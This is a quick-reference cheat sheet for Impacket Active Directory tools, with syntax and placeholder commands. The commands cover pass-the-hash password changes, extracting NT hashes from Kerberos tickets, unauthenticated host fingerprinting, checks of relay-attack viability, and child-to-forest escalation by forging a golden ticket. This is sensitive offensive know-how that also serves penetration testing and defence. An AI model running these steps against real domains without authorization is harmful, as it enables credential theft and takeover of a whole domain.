Quick Reference

changepasswd.py

Change or reset user passwords over multiple protocols: SMB-SAMR, RPC-SAMR, Kpasswd (Kerberos), or LDAP.

Syntax:

changepasswd.py [options] <domain>/<username>[:<password>]@<target>

Common Usage:

# Change own password (user knows current password)
changepasswd.py <domain>/<username>:<password>@<target> -newpass <password>

# Force reset another user's password (privileged)
changepasswd.py <domain>/<target-username>@<target> \
  -altuser <domain>/<admin-username> -altpass <password> \
  -newpass <password> -reset

# Change password via NT hash (Pass-the-Hash)
changepasswd.py <domain>/<username>@<target> \
  -hashes <lm-hash>:<nt-hash> -newpass <password>

# Set new password using NT hash (no cleartext)
changepasswd.py <domain>/<username>:<password>@<target> \
  -newhashes :<nt-hash>

# Change via Kpasswd (Kerberos protocol)
changepasswd.py <domain>/<username>:<password>@<dc-ip> \
  -protocol kpasswd -newpass <password>

# Change via LDAP
changepasswd.py <domain>/<username>:<password>@<dc-ip> \
  -protocol ldap -newpass <password>

# Reset via RPC (may bypass some password policies)
changepasswd.py <domain>/<target-username>@<target> \
  -altuser <admin-username> -altpass <password> \
  -protocol rpc-samr -newpass <password> -reset

# Kerberos auth (ccache)
KRB5CCNAME=<ticket> changepasswd.py -k -no-pass <domain>/<username>@<target> \
  -newpass <password>

Options:
- -newpass <password> — New cleartext password
- -newhashes <lm-hash>:<nt-hash> — New password as NTLM hash (NTHASH or LM:NT)
- -hashes <lm-hash>:<nt-hash> — Auth hashes for target user
- -no-pass — Don't prompt for password
- -altuser <username> — Privileged account performing the change
- -altpass <password> — Password for altuser
- -althash <nt-hash> — NT hash for altuser
- -protocol {smb-samr,rpc-samr,kpasswd,ldap} / -p — Protocol (default: smb-samr)
- -reset / -admin — Force reset (may bypass password policy)
- -k — Kerberos auth
- -aesKey <aes256-key> — AES Kerberos key
- -dc-ip <dc-ip> — DC IP (for Kerberos / kpasswd)

Notes:
- kpasswd works on port 464 directly against the KDC
- -reset is useful when forcing a password reset on a locked account
- smb-samr is the most reliable default protocol

describeTicket.py

Parse a Kerberos ccache ticket, decrypt the encrypted portion, and display the PAC (including group memberships, SIDs, and credentials).

Syntax:

describeTicket.py [options] <ticket.ccache>

Common Usage:

# Parse ticket (no decryption — shows outer structure only)
describeTicket.py <ticket>

# Decrypt ticket with service account password
describeTicket.py <ticket> -p <password> -u <username> -d <domain>

# Decrypt with NT hash (RC4)
describeTicket.py <ticket> --rc4 <nt-hash>

# Decrypt with AES key
describeTicket.py <ticket> --aes <aes256-key>

# UnPAC-the-Hash — decrypt PAC Credentials section (PKINIT AS reply key)
describeTicket.py <ticket> --asrep-key <asrep-key-hex>

Options:
- <ticket> — Path to the ccache file (positional, required)
- -p <password> / --password <password> — Service account cleartext password for decryption
- -hp <hex> / --hex-password <hex> — Hex-encoded password
- -u <user> / --user <user> — Service account username
- -d <domain> / --domain <domain> — Domain FQDN
- -s <salt> / --salt <salt> — Key derivation salt
- --rc4 <nt-hash> — NT hash (RC4 key) for decryption
- --aes <hex> — AES-128 or AES-256 key for decryption
- --asrep-key <hex> — AS reply key for decrypting PAC Credentials (UnPAC-the-Hash)

Notes:
- Without decryption keys, only the unencrypted ticket metadata is shown (realm, sname, validity)
- With decryption, reveals: groups, extra SIDs, UPN, user flags, PAC logon info
- --asrep-key enables UnPAC-the-Hash: extracts LM/NT hashes from a PKINIT-obtained ticket's PAC Credentials structure
- Service key = key of the account that owns the SPN in the ticket

DumpNTLMInfo.py

Perform NTLM negotiation against a target and extract host metadata without authenticating.

Syntax:

DumpNTLMInfo.py [options] <target>

Common Usage:

# Probe SMB port (default)
DumpNTLMInfo.py <target>

# Probe RPC endpoint mapper (port 135)
DumpNTLMInfo.py <target> -port 135 -protocol RPC

# Specific port
DumpNTLMInfo.py <target> -port 445

# Resolve via target IP
DumpNTLMInfo.py <target> -target-ip <target>

Options:
- -target-ip <target> — Target IP override
- -port <port> — Destination port
- -protocol [protocol] — SMB (default) or RPC

Output includes:
- NetBIOS hostname and domain
- DNS hostname and domain
- OS version (Windows build)
- Server timestamp
- Whether SMB signing is required

Notes:
- No credentials required — completely unauthenticated
- Useful for quick OS version fingerprinting before exploitation
- Combine with CheckLDAPStatus.py to assess relay viability

CheckLDAPStatus.py

Check LDAP signing and channel binding enforcement on a domain controller — determines relay attack viability.

Syntax:

CheckLDAPStatus.py -dc-ip <dc-ip> -domain <domain>

Common Usage:

# Check LDAP signing and channel binding
CheckLDAPStatus.py -dc-ip <dc-ip> -domain <domain>

# With debug output
CheckLDAPStatus.py -dc-ip <dc-ip> -domain <domain> -debug

# Custom DNS timeout
CheckLDAPStatus.py -dc-ip <dc-ip> -domain <domain> -timeout 10

Options:
- -dc-ip <dc-ip> — DC IP or DNS resolver (required)
- -domain <domain> — Domain name (required)
- -debug — Debug output
- -timeout <seconds> — DNS timeout

Output interpretation:
- LDAP signing: NOT required → LDAP relay attacks are viable
- LDAP signing: required → LDAP relay blocked (use LDAPS)
- Channel binding: NOT required → ntlmrelayx LDAP relay works
- Channel binding: required → LDAPS relay blocked

Notes:
- Pair with DumpNTLMInfo.py for full pre-relay assessment
- SMB signing check: use nmap --script smb2-security-mode or netexec smb

raiseChild.py

Privilege escalation from a child domain to the forest root using the trust key — Mimikatz's lsadump::trust /patch equivalent.

Syntax:

raiseChild.py [options] <domain>/<username>[:<password>]

Common Usage:

# Full attack — escalate from child domain to forest root and PSEXEC target
raiseChild.py <child-domain>/<username>:<password> \
  -target-exec <dc-hostname>

# Save golden ticket without PSEXEC
raiseChild.py <child-domain>/<username>:<password> \
  -w <output>

# Pass-the-Hash
raiseChild.py -hashes <lm-hash>:<nt-hash> \
  <child-domain>/<username> -target-exec <dc-hostname>

# Target specific RID (default: 500 = Administrator)
raiseChild.py <child-domain>/<username>:<password> \
  -target-exec <dc-hostname> -targetRID 500

Options:
- -target-exec <address> — Host to PSEXEC after escalation
- -targetRID <rid> — Target user RID to dump credentials for (default: 500)
- -w <pathname> — Save golden ticket to ccache file
- -hashes <lm-hash>:<nt-hash> — NTLM hash auth
- -k / -no-pass — Kerberos via ccache
- -aesKey <aes256-key> — AES Kerberos key

Notes:
- Requires Domain Admin privileges in the child domain
- Exploits the SID History + inter-realm trust key to forge a golden ticket trusted by the forest root DC
- The forged ticket includes the Enterprise Admins SID (S-1-5-21-...-519)
- After escalation, perform DCSync against the forest root DC
